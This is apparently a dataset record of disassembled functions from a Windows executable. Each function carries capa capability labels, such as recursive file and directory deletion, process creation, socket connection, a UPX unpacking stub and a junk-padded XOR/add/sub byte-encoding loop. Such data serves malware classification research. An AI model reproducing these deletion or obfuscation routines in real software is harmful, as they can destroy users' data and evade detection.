joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e1e0
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x48bf40]
sub esp, 0x400
cmp eax, 0xffffffff
push esi
jne 0x40e1fb
xor eax, eax
pop esi
add esp, 0x400
ret
mov eax, dword [esp + 0x40c]
mov esi, dword [esp + 0x408]
push eax
push esi
lea ecx, [esp + 0xc]
push str._s__s
push ecx
call fcn.0040f560
lea edx, [esp + 0x14]
push 0x41ced8
push edx
call fcn.0040fa1a
add esp, 0x18
mov dword [0x48bf70], eax
test eax, eax
jne 0x40e23d
pop esi
add esp, 0x400
ret
mov eax, dword [0x48bf58]
push edi
push eax
mov dword [0x48bf50], 0
mov dword [0x48bf48], eax
call fcn.0040d630
mov dword [0x48bf54], eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [0x48bf80], 0
repne scasb al, byte es:[edi]
not ecx
push ecx
call fcn.0040d630
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [0x48bf74], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x41c]
or ecx, 0xffffffff
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
push ecx
call fcn.0040d630
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
mov dword [0x48bf78], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x418]
and ecx, 3
cmp eax, 0xffffffff
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x48bf78]
mov edx, dword [0x48bf48]
push ecx
mov dword [0x48bf7c], eax
push edx
je 0x40e316
push eax
mov eax, dword [0x48bf54]
push str.getfile_inet__d__d__s
push eax
call fcn.0040f560
add esp, 0x14
jmp 0x40e329
mov eax, dword [0x48bf54]
push str.getfile_inet_system__d__s
push eax
call fcn.0040f560
add esp, 0x10
mov edi, dword [0x48bf54]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
push eax
push eax
not ecx
push 0x40e010
mov dword [0x48bf80], ecx
mov dword [0x48bf44], 0xa
call fcn.00411024
add esp, 0xc
mov eax, 1
pop edi
pop esi
add esp, 0x400
ret

Function at 0x40e3c0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x354
lea eax, [esp + 0x154]
push esi
mov esi, dword [esp + 0x360]
push esi
push str._s_sdi_nt_server_queue
push eax
call fcn.0040f560
add esp, 0xc
lea ecx, [esp + 0x158]
push ecx
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40e44c
mov edx, dword [esp + 0x35c]
lea eax, [esp + 0x58]
push edx
push str._s_bpserver.exe__nogui__noservice
push eax
call fcn.0040f560
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea edx, [esp + 4]
lea eax, [esp + 0x14]
push edx
push eax
push esi
push 0
push 8
push 0
push 0
lea ecx, [esp + 0x74]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop esi
add esp, 0x354
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
add esp, 0x354
ret
Function at 0x40e920
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x540
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x140]
push ebx
push ebp
push esi
push edi
mov edi, 0x48c39c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x150]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._session_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x154]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40ea9b
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea edx, [esp + 0x3c]
lea eax, [esp + 0x150]
push edx
push 0x48c39c
push str._s__s
push eax
call fcn.0040f560
add esp, 0x10
mov esi, 0x41bc14
lea eax, [esp + 0x3c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40e9f4
test cl, cl
je 0x40e9f0
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40e9f4
add eax, 2
add esi, 2
test cl, cl
jne 0x40e9d0
xor eax, eax
jmp 0x40e9f9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40ea84
mov esi, 0x41d044
lea eax, [esp + 0x3c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40ea2e
test cl, cl
je 0x40ea2a
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40ea2e
add eax, 2
add esi, 2
test cl, cl
jne 0x40ea0a
xor eax, eax
jmp 0x40ea33
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40ea84
mov eax, dword [esp + 0x10]
and eax, 0x10
cmp al, 0x10
jne 0x40ea84
lea edi, [esp + 0x150]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x48c79c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0040e580
test eax, eax
je 0x40ea84
call fcn.0040e610
push 0x48c79c
call fcn.0040eab0
add esp, 4
lea eax, [esp + 0x10]
push eax
push ebp
call ebx
test eax, eax
jne 0x40e9a8
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x540
ret
Function at 0x40eab0
Capabilities:
Delete file
Enumerate files on windows
Print debug messages

Disassembly:
sub esp, 0x944
push ebx
push esi
push edi
mov edi, dword [esp + 0x954]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x150]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x150]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x41d080
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x154]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
je 0x40ecac
push ebp
mov eax, dword [esp + 0x958]
lea edx, [esp + 0x40]
push edx
push eax
lea ecx, [esp + 0x15c]
push str._s__s
push ecx
call fcn.0040f560
add esp, 0x10
mov esi, 0x41bc14
lea eax, [esp + 0x40]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x40eb8b
test cl, cl
je 0x40eb87
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x40eb8b
add eax, 2
add esi, 2
test cl, cl
jne 0x40eb63
xor eax, eax
jmp 0x40eb90
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40ec90
mov esi, 0x41d044
lea eax, [esp + 0x40]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x40ebc9
test cl, cl
je 0x40ebc5
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x40ebc9
add eax, 2
add esi, 2
test cl, cl
jne 0x40eba1
xor eax, eax
jmp 0x40ebce
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40ec90
mov eax, dword [esp + 0x14]
and eax, 0x10
cmp al, 0x10
jne 0x40ebf6
lea ecx, [esp + 0x154]
push ecx
call fcn.0040ecc0
add esp, 4
jmp 0x40ec90
mov edx, dword [0x48cfa8]
xor ebp, ebp
mov esi, dword [edx]
test esi, esi
je 0x40ec46
mov edi, edx
lea eax, [esp + 0x40]
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [esi]
jne 0x40ec2e
test cl, cl
je 0x40ec2a
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [esi + 1]
jne 0x40ec2e
add eax, 2
add esi, 2
test cl, cl
jne 0x40ec0a
xor eax, eax
jmp 0x40ec33
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40ec42
mov esi, dword [edi + 4]
add edi, 4
inc ebp
test esi, esi
jne 0x40ec06
mov edi, dword [esp + 0x10]
cmp dword [edx + ebp*4], 0
jne 0x40ec90
lea edx, [esp + 0x154]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40ec90
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0x55c]
push str._DeleteFile_Failed__d_:_s:_n
push ecx
call fcn.0040f560
add esp, 0x10
lea edx, [esp + 0x554]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40eb38
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x944
ret
Function at 0x40ecc0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Print debug messages

Disassembly:
sub esp, 0x940
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x140]
push ebx
push ebp
mov ebp, dword [esp + 0x94c]
push esi
push edi
mov edi, ebp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x150]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x41d080
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x154]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40ee4f
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [esp + 0x3c]
lea eax, [esp + 0x150]
push edx
push ebp
push str._s__s
push eax
call fcn.0040f560
add esp, 0x10
mov esi, 0x41bc14
lea eax, [esp + 0x3c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40ed94
test cl, cl
je 0x40ed90
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40ed94
add eax, 2
add esi, 2
test cl, cl
jne 0x40ed70
xor eax, eax
jmp 0x40ed99
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40ee34
mov esi, 0x41d044
lea eax, [esp + 0x3c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40edce
test cl, cl
je 0x40edca
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40edce
add eax, 2
add esi, 2
test cl, cl
jne 0x40edaa
xor eax, eax
jmp 0x40edd3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40ee34
mov eax, dword [esp + 0x10]
and eax, 0x10
cmp al, 0x10
jne 0x40edf4
lea ecx, [esp + 0x150]
push ecx
call fcn.0040ecc0
add esp, 4
jmp 0x40ee34
lea edx, [esp + 0x150]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40ee34
lea eax, [esp + 0x150]
push eax
call ebx
push eax
lea ecx, [esp + 0x558]
push str.DeleteFile_Failed__d_:_s:_n
push ecx
call fcn.0040f560
add esp, 0x10
lea edx, [esp + 0x550]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40ed4c
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebp
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x940
ret
Function at 0x40ee70
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x540
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x140]
push ebx
push ebp
push esi
push edi
mov edi, 0x48c39c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x150]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._session_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x154]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40efd5
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea edx, [esp + 0x3c]
lea eax, [esp + 0x150]
push edx
push 0x48c39c
push str._s__s
push eax
call fcn.0040f560
add esp, 0x10
mov esi, 0x41bc14
lea eax, [esp + 0x3c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40ef44
test cl, cl
je 0x40ef40
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40ef44
add eax, 2
add esi, 2
test cl, cl
jne 0x40ef20
xor eax, eax
jmp 0x40ef49
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40efbe
mov esi, 0x41d044
lea eax, [esp + 0x3c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40ef7a
test cl, cl
je 0x40ef76
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40ef7a
add eax, 2
add esi, 2
test cl, cl
jne 0x40ef56
xor eax, eax
jmp 0x40ef7f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40efbe
mov eax, dword [esp + 0x10]
and eax, 0x10
cmp al, 0x10
jne 0x40efbe
lea edi, [esp + 0x150]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x48c79c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0040e580
test eax, eax
jne 0x40efce
lea eax, [esp + 0x10]
push eax
push ebp
call ebx
test eax, eax
jne 0x40eef8
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x540
ret
Function at 0x40f000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Print debug messages
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x90
push ebx
push ebp
push esi
push 0
push 1
push 2
call sub.WSOCK32.dll_socket
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x40f027
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x90
ret
mov eax, dword [esp + 0xa4]
mov word [esp + 0xc], 2
push eax
call sub.WSOCK32.dll_htons
mov ebx, dword [esp + 0xa0]
mov word [esp + 0xe], ax
push ebx
call sub.WSOCK32.dll_inet_addr
mov esi, eax
cmp esi, 0xffffffff
jne 0x40f08f
push ebx
call sub.WSOCK32.dll_gethostbyname
test eax, eax
jne 0x40f070
push ebp
call sub.WSOCK32.dll_closesocket
or eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x90
ret
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, ecx
push edi
lea edi, [esp + 0x14]
mov esi, dword [edx]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
jmp 0x40f0ba
push esi
push 4
lea ecx, [esp + 0x18]
push 4
push ecx
lea edx, [esp + 0x2c]
push str.ADDRESS___x____d__d____x__n
push edx
call fcn.0040f560
add esp, 0x18
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [esp + 0x10], esi
lea ecx, [esp + 0xc]
push 0x10
push ecx
push ebp
call sub.WSOCK32.dll_connect
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [esp + 0xa4]
push eax
push esi
push edx
push ebx
lea eax, [esp + 0x2c]
push str.ntserv_exists:_HOST___s__d__RET__d_LASTERROR__d_n
push eax
call fcn.0040f560
add esp, 0x18
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, 0xffffffff
jne 0x40f10e
push ebp
call sub.WSOCK32.dll_closesocket
or eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x90
ret
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x90
ret
Function at 0x405a09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a2dac]
jne 0x405a13
repz ret
jmp fcn.00408ffc

Function at 0x40882c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402b62
and dword [ebp - 4], 0
cmp dword [0x4a765c], 0
mov ebx, eax
jne 0x4088dd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40898e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40898e
push eax
call fcn.00402af0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4a765c], eax
call esi
push eax
call fcn.00402af0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4a7660], eax
call esi
push eax
call fcn.00402af0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4a7664], eax
call esi
push eax
call fcn.00402af0
pop ecx
mov dword [0x4a766c], eax
test eax, eax
je 0x4088dd
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402af0
pop ecx
mov dword [0x4a7668], eax
mov eax, dword [0x4a7668]
cmp eax, ebx
je 0x408935
cmp dword [0x4a766c], ebx
je 0x408935
push eax
call fcn.00402b6b
push dword [0x4a766c]
mov esi, eax
call fcn.00402b6b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408935
test edi, edi
je 0x408935
call esi
test eax, eax
je 0x40892c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40892c
test byte [ebp - 0xc], 1
jne 0x408935
or dword [ebp + 0x10], 0x200000
jmp 0x40896e
mov eax, dword [0x4a7660]
cmp eax, ebx
je 0x40896e
push eax
call fcn.00402b6b
pop ecx
test eax, eax
je 0x40896e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40896e
mov eax, dword [0x4a7664]
cmp eax, ebx
je 0x40896e
push eax
call fcn.00402b6b
pop ecx
test eax, eax
je 0x40896e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4a765c]
call fcn.00402b6b
pop ecx
test eax, eax
je 0x40898e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408990
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x507f30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xb3000]
push edi
jmp 0x507f4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x507f51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x507f40
mov eax, 1
add ebx, ebx
jne 0x507f63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x507f74
jne 0x507f93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x507f93
dec eax
add ebx, ebx
jne 0x507f80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x507f58
add ebx, ebx
jne 0x507f8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x507fe5
xor ecx, ecx
sub eax, 3
jb 0x507fab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50801a
sar eax, 1
mov ebp, eax
jmp 0x507fb6
add ebx, ebx
jne 0x507fb6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x507f84
inc ecx
add ebx, ebx
jne 0x507fc4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x507f84
add ebx, ebx
jne 0x507fd1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x507fc6
jne 0x507fe2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x507fc6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x508004
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x507ff6
jmp 0x507f46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x508004
add edi, ecx
jmp 0x507f46
pop esi
mov edi, esi
mov ecx, 0x3ed9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x508022
cmp byte [edi], 0x11
jne 0x508022
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x508027
lea edi, [esi + 0x100000]
mov eax, dword [edi]
or eax, eax
je 0x50809f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x137cac]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x137e28]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x508054
mov ecx, edi
jns 0x508083
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x137e2c]
or eax, eax
je 0x508099
mov dword [ebx], eax
add ebx, 4
jmp 0x508071
call dword [esi + 0x137e3c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5080d0
cmp al, 0xef
ja 0x5080c3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5080a5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x5080b2
mov ebp, dword [esi + 0x137e30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x508104
sub esp, 0xffffff80
jmp 0x425f74
Function at 0x401000
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
not ebx
dec edx
neg esi
not esi
imul ebx
or ebx, 0x45
and eax, 0x41
add eax, 0x3e
rcl eax, 0x92
mov edx, 0xc
neg eax
bswap eax
sbb edi, 0x8c
neg edi
neg esi
inc ebx
rcr edi, 0x7f
and edx, 0xa3
rol ebx, 0x64
mov esi, 0xea
rcl edi, 0x3f
mov edi, 0x7b
sbb eax, 0xff
imul edx
sub edx, 0xf8
not ebx
rcr ebx, 0x6d
dec eax
imul esi
inc edx
not eax
rol ebx, 0x48
inc edx
neg esi
dec edx
inc edi
rol edi, 0x4b
or eax, 0x16
bswap edx
rcl edi, 0x75
rcr esi, 0x89
rcr ebx, 0xd0
ror esi, 0x2f
imul eax
rol ebx, 0x16
imul eax
neg esi
rol edx, 0xdc
rcl edx, 0x5e
mov esi, 0xaa
xor ecx, ecx
xor edi, edi
neg eax
rcr edi, 0xa6
add eax, 0xbd
or esi, 0xae
neg edi
inc eax
not eax
rcr edi, 0x8d
imul eax
not ebx
and ebx, 0xf5
neg edi
ror edx, 0x79
bswap esi
add esi, 1
sbb ebx, 0xf1
bswap edi
ror edi, 0xe8
inc edx
rcl esi, 0xcd
mov ebx, 0x57
add eax, 0xdd
and edi, 0x26
not eax
neg eax
and eax, 0xd1
neg edi
imul eax
sbb eax, 0x6c
not ebx
add edx, 0x56
mov esi, 0x1f
not eax
neg ebx
rol edx, 0x79
add edx, 0x86
imul edi
neg eax
rol ebx, 0x1e
ror edi, 0x73
add eax, 0xc3
sbb edx, 0x9a
mov edi, 0xa1
rcl eax, 0x81
and ebx, 0x55
not eax
imul esi
rcl ebx, 0x98
bswap edi
and edi, 0x6f
mov ecx, dword [ebp + 0xc]
ror edi, 0x7c
imul eax
neg esi
inc edi
rol esi, 0x95
imul eax
and ebx, 0x93
ror ebx, 0x54
bswap esi
rol eax, 0x29
neg eax
not edx
sub eax, 0xe4
neg eax
neg edx
neg eax
sbb esi, 0x96
sub edi, 0x34
dec eax
bswap eax
sub esi, 0xa2
add eax, 0x6e
rcr edx, 0xf9
rol edi, 0xa0
mov esi, 0xb9
sbb edi, 0x6d
rcr esi, 0xdc
dec edx
neg eax
add eax, 0x50
or edx, 0x73
rcr eax, 0x1f
sbb esi, 0x55
dec ebx
rcr edi, 0x93
add esi, 0x7e
rcl ebx, 0x6f
or ebx, 6
rcr esi, 0x93
sbb edx, 0xaa
rol edx, 0xf9
sbb esi, 0x9a
rcl edi, 0x7b
bswap edi
rcr edx, 0x17
neg ebx
add ebx, 0xe3
bswap edx
ror edi, 0xfe
rol edx, 0xa3
mov edi, dword [ebp + 8]
xor ebx, esi
xor eax, ebx
xor ebx, esi
mov eax, esi
xor esi, ebx
xor ebx, eax
xor ebx, ebx
mov ebx, eax
mov eax, esi
mov ebx, esi
xor eax, ebx
mov ebx, eax
not byte [edi]
mov eax, esi
xor eax, esi
mov ebx, ebx
mov esi, esi
mov eax, eax
xor ebx, esi
mov eax, esi
mov esi, ebx
mov ebx, esi
sub byte [edi], 0x89
xor ebx, ebx
xor ebx, eax
xor esi, ebx
xor esi, esi
xor eax, eax
xor esi, esi
xor ebx, eax
mov esi, ebx
xor ebx, ebx
add byte [edi], 0x43
mov esi, ebx
mov esi, ebx
xor ebx, eax
mov ebx, eax
xor eax, esi
mov ebx, esi
mov eax, eax
mov ebx, esi
xor ebx, ebx
imul byte [edi]
inc edi
loop 0x4011d1
pop edi
pop esi
pop ebx
pop ebp
ret